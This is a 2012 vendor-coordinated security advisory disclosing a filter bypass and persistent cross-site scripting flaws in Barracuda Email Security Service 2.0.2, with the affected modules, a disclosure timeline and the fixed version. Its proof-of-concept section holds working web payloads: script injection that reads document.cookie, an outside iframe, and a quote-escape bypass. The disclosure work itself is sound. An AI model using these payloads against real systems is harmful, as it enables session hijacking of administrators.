Home / exploits Barracuda EMail Security 2.0.2 Filter Bypass / XSS
Posted on 02 August 2012
Title: ====== Barracuda EMail Security 2.0.2 - Multiple Web Vulnerabilities Date: ===== 2012-08-01 References: =========== http://www.vulnerability-lab.com/get_content.php?id=621 http://www.vulnerability-lab.com/get_content.php?id=630 Barracuda Networks Security ID: BNSEC-304 VL-ID: ===== 621 Common Vulnerability Scoring System: ==================================== 4.1 Introduction: ============= The Barracuda Email Security Service is a comprehensive and affordable cloud-based email security service that protects both inbound and outbound email against the latest spam, viruses, worms, phishing and denial of service attacks. Barracuda Email Security Service also includes email encryption and Data Loss Prevention features. The Barracuda Email Security Service leverages advanced security technologies from the industry-leading Barracuda Spam & Virus Firewall and features rich multiple cloud-based protection: Rate control and Denial of Service (DoS) protection Reputation-based blocking from known spam and malware sources Anti-virus, featuring the patent-pending Barracuda Anti-Virus Supercomputing Grid Anti-phishing, using the Barracuda Anti-Fraud Intelligence Protection against spam, phishing, fraud and emails with other malicious intent Custom sender/recipient policy Comprehensive Protection Spam and viruses are blocked in the cloud prior to delivery to the customer, saving network bandwidth and providing additional Denial of Service protection. In addition to network bandwidth savings, cloud-based filtering offloads any processing required for spam and virus filtering from the email server. By leveraging the compute capacity available in the cloud, patent-pending Barracuda Anti-Virus Supercomputing Grid not only detects new outbreaks similar to known viruses, it also identifies new threats for which signatures have never existed. (Copy of the Vendor Homepage: https://www.barracudanetworks.com/ns/products/bess_overview.php ) Abstract: ========= The Vulnerability Laboratory Research Team discovered an input filter bypass & 2 persistent web vulnerabilities in Barracudas EMail Security Application UI v2.0.2. Report-Timeline: ================ 2012-06-20: Researcher Notification & Coordination 2012-06-23: Vendor Notification 2012-07-01: Vendor Response/Feedback 2012-07-24: Vendor Fix/Patch 2012-08-01: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Barracuda Networks Product: EMail Security Appliance Application vUI 2.0.2 & older versions Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A filter bypass vulnerability & 2 persistent input validation vulnerabilities are detected in Barracudas EMail Security Application UI v2.0.2. The vulnerability allows an attacker (remote) to bypass the input validation & exception handling to inject or display own malicious persistent context on application side (persistent). The vulnerabilities are located in the Domain Settings > Directory Services > LDAP Host module with the vulnerable bound name parameter. The secound persistent vulnerability is located in the reports module with the bound vulnerable parameters start date & end date. Exploitation requires low user inter action & privileged application user account. Successful exploitation of the vulnerability can lead to session hijacking (admin) or stable (persistent) context manipulation. Vulnerable Module(s): [+] Domain Settings > Directory Services > LDAP Host (/domains/info/4) [+] Reports (../reports) Vulnerale Parameter(s): [+] LDAP Host > NAME [+] Reports > Date Start & Date End Proof of Concept: ================= 1.1 The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action. For demonstration or reproduce ... Review: Domain Settings > Directory Services > LDAP Host <div id="directory-services" class="module"> <h4 class="module-title">Directory Services</h4> <div class="module-content"> <div class="warn notice" id="ldap-test-result" style=""><img src="/images/spinner1.gif" alt="loading..."> Connecting to >"<iframe src="http://global-evolution.info">@gmail.com >"<script>alert(document.cookie)</script><div style="1@gmail.com 0</iframe></div> <div style="float: right;"> <a href="https://ess.barracudanetworks.com/domains/sync_ldap/4" class="btn"><span><span>Synchronize Now</span></span></a> <a href="#" class="btn" id="ldap-test-btn"><span><span>Test Settings</span></span></a> </div> <p class="field"> <label class="label" for="ldap_host">LDAP Host:</label> <input name="ldap_host" id="ldap_host" size="30" value="> "<iframe src=http://global-evolution.info>@gmail.com >"<script>alert(document.cookie)</script>< div style="1@gmail.com 0" type="text"> URL: https://ess.127.0.0.1:1338/domains/info/4 PoC: >">"<iframe src=http://global-evolution.info>VL >"<div style="1 >">" Note: To bypass the validation close the tag of the exception handling on beginning with double quotes 2 times. The mask of the exception (>") will be bypassed and the string will be executed out of the secure exception handling message. 1.2 The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action. For demonstration or reproduce ... Vulnerable Module: Reports > Date Start > Date End PoC: >"<iframe src=http://global-evolution.info> URL: https://ess.127.0.0.1:1338/reports Note: 1. Include a start Date & End Date 2. Inject after the start date & end date your own persistent script code 3. Result: The script code get executed out of the date listing application context 4. Save value with script code to events for exploitation via module. Solution: ========= BESS version 2.0.4, release July 24th, 2012 [Barracuda Networks] (Customer Area) Risk: ===== The security risk of the persistent input validation vulnerabilities are estimated as medium(+). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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